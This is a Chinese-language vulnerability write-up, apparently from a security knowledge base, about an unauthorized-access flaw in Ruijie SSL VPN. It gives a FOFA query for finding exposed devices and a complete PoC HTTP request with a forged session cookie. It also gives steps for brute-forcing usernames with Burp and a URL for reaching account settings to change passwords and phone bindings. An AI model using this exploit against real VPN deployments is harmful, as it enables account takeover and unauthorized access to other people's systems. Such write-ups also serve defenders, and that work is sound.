menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 锐捷 chevron_right 锐捷SSL VPN 越权访问漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    锐捷SSL VPN 越权访问漏洞.md
    1.95 KB / 2021-04-15 12:15:19
        # 锐捷SSL VPN 越权访问漏洞
    
    ## 漏洞描述
    
    Ruijie SSL VPN 存在越权访问漏洞,攻击者在已知用户名的情况下,可以对账号进行修改密码和绑定手机的操作。并在未授权的情况下查看服务器资源
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > Ruijie SSL VPN
    
    ## FOFA
    
    > [!NOTE]
    >
    > icon_hash="884334722" || title="Ruijie SSL VPN"
    
    ## 漏洞复现
    
    访问目标 http://xxx.xxx.xxx.xxx/cgi-bin/installjava.cgi
    
    ![](image/ruijie-9.png)
    
    POC请求包如下
    
    ```
    GET /cgi-bin/main.cgi?oper=getrsc HTTP/1.1
    Host: xxx.xxx.xxx.xxx
    Connection: close
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
    Cookie: UserName=xm; SessionId=1; FirstVist=1; Skin=1; tunnel=1
    ```
    
    其中注意的参数为
    
    ```
    Cookie: UserName=xm; SessionId=1; FirstVist=1; Skin=1; tunnel=1
    ```
    
    UserName 参数为已知用户名
    
    > [!NOTE]
    >
    > 在未知登录用户名的情况下 漏洞无法利用(根据请求包使用Burp进行用户名爆破)
    
    ![](image/ruijie-10.png)
    
    用户名正确时会返回敏感信息
    
    ![](image/ruijie-11.png)
    
    通过此方法知道用户名后可以通过漏洞修改账号参数
    
    访问 http://xxx.xxx.xxx.xxx/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=liuw&sid=1&oper=showres
    
    ![](image/ruijie-12.png)
    
    点击个人设置跳转页面即可修改账号信息
    
    ![](image/ruijie-13.png)
    
    ## 参考文章
    
    https://mp.weixin.qq.com/s?__biz=MzU1NTkzMTYxOQ==&mid=2247484601&idx=1&sn=d6d6f4496243d98e688667faff137973
    
    links
    file_download